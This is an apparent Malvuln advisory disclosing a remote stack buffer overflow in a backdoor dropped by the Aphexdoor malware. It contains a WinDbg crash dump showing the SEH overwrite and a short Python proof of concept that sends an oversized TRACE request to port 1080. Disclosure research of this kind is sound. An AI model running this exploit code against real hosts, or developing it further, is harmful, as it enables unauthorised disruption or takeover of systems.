Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022 Original source: https://malvuln.com/advisory/2047ac6183da4dfb61d2562721ba0720.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.Aphexdoor.LiteSock Vulnerability: Remote Stack Buffer Overflow (SEH) Description: The malware drops an extensionless PE file named "3" which listens on TCP port 1080. Third-party attackers who can reach an infected host can send a specially crafted packet to port 1080, that will trigger a stack buffer overflow overwriting ECX register and SEH. Family: Aphexdoor Type: PE32 MD5: 2047ac6183da4dfb61d2562721ba0720 Vuln ID: MVID-2022-0653 Dropped files: "3" ASLR: False DEP: False CFG: False Safe SEH: False Disclosure: 11/09/2022 Memory Dump: (135c.27c8): Access violation - code c0000005 (first/second chance not available) eax=00000000 ebx=00000000 ecx=41414141 edx=77729d70 esi=02651848 edi=02651d0c eip=7770e916 esp=02651790 ebp=02651830 iopl=0 nv up ei pl nz ac pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000216 ntdll!ZwQueryInformationProcess+0x26: 7770e916 c21400 ret 14h 0:004> .ecxr eax=00000000 ebx=00000000 ecx=41414141 edx=77729d70 esi=02651848 edi=02651d0c eip=7770e916 esp=02651790 ebp=02651830 iopl=0 nv up ei pl nz ac pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000216 ntdll!ZwQueryInformationProcess+0x26: 7770e916 c21400 ret 14h 0:004> !analyze -v ******************************************************************************* * * * Exception Analysis * * * ******************************************************************************* *** WARNING: Unable to verify checksum for 3 *** ERROR: Module load completed but symbols could not be loaded for 3 Failed calling InternetOpenUrl, GLE=12029 FAULTING_IP: +26 312e312f ?? ??? EXCEPTION_RECORD: 0274fadc -- (.exr 0x274fadc) ExceptionAddress: 312e312f ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000000 NumberParameters: 2 Parameter[0]: 00000000 Parameter[1]: 312e312f Attempt to read from address 312e312f PROCESS_NAME: 3 ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_PARAMETER1: 00000001 EXCEPTION_PARAMETER2: 02650fe8 WRITE_ADDRESS: 02650fe8 FOLLOWUP_IP: +26 51bb743d e89efdffff call 51bb71e0 FAILED_INSTRUCTION_ADDRESS: +26 41414141 ?? ??? MOD_LIST: <ANALYSIS/> NTGLOBALFLAG: 0 APPLICATION_VERIFIER_FLAGS: 0 CONTEXT: 0274fb2c -- (.cxr 0x274fb2c) eax=00000001 ebx=00000234 ecx=72b87bf5 edx=00000001 esi=004011a8 edi=004011a8 eip=312e312f esp=0274ff8c ebp=50545448 iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202 312e312f ?? ??? Resetting default scope ADDITIONAL_DEBUG_TEXT: Followup set based on attribute [Is_ChosenCrashFollowupThread] from Frame:[0] on thread:[PSEUDO_THREAD] LAST_CONTROL_TRANSFER: from 203a7473 to 312e312f FAULTING_THREAD: ffffffff DEFAULT_BUCKET_ID: STACKIMMUNE PRIMARY_PROBLEM_CLASS: STACKIMMUNE BUGCHECK_STR: APPLICATION_FAULT_STACKIMMUNE_STACK_OVERFLOW_BAD_INSTRUCTION_PTR_INVALID_POINTER_WRITE_EXPLOITABLE_FILL_PATTERN_41414141 IP_ON_HEAP: 203a7473 The fault address in not in any loaded module, please check your build's rebase log at <releasedir>\bin\build_logs\timebuild\ntrebase.log for module which may contain the address if it were loaded. IP_IN_FREE_BLOCK: 203a7473 FRAME_ONE_INVALID: 1 STACK_TEXT: 00000000 00000000 3+0x0 STACK_COMMAND: .cxr 000000000274FB2C ; kb ; ** Pseudo Context ** ; kb SYMBOL_NAME: 3 FOLLOWUP_NAME: MachineOwner MODULE_NAME: 3 DEBUG_FLR_IMAGE_TIMESTAMP: 21475346 FAILURE_BUCKET_ID: STACKIMMUNE_c0000005_3!Unknown BUCKET_ID: APPLICATION_FAULT_STACKIMMUNE_STACK_OVERFLOW_BAD_INSTRUCTION_PTR_INVALID_POINTER_WRITE_EXPLOITABLE_FILL_PATTERN_41414141_BAD_IP_3 0:004> !exchain 0265175c: ntdll!ExecuteHandler2+44 (77729d70) 0274ffcc: 41414141 Invalid exception stack at 41414141 Exploit/PoC: from socket import * MALWARE_HOST="x.x.x.x" PORT=1080 s=socket(AF_INET, SOCK_STREAM) s.connect((MALWARE_HOST, PORT)) PAYLOAD="TRACE /"+"A"*72+" HTTP/1.1\r\nHost: "+MALWARE_HOST+"\r\n\X-Request-ID: "+"A"*72 s.send(PAYLOAD.encode()) s.close() print("Aphexdoor.LiteSock Buffer Overflow by Malvuln") Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. 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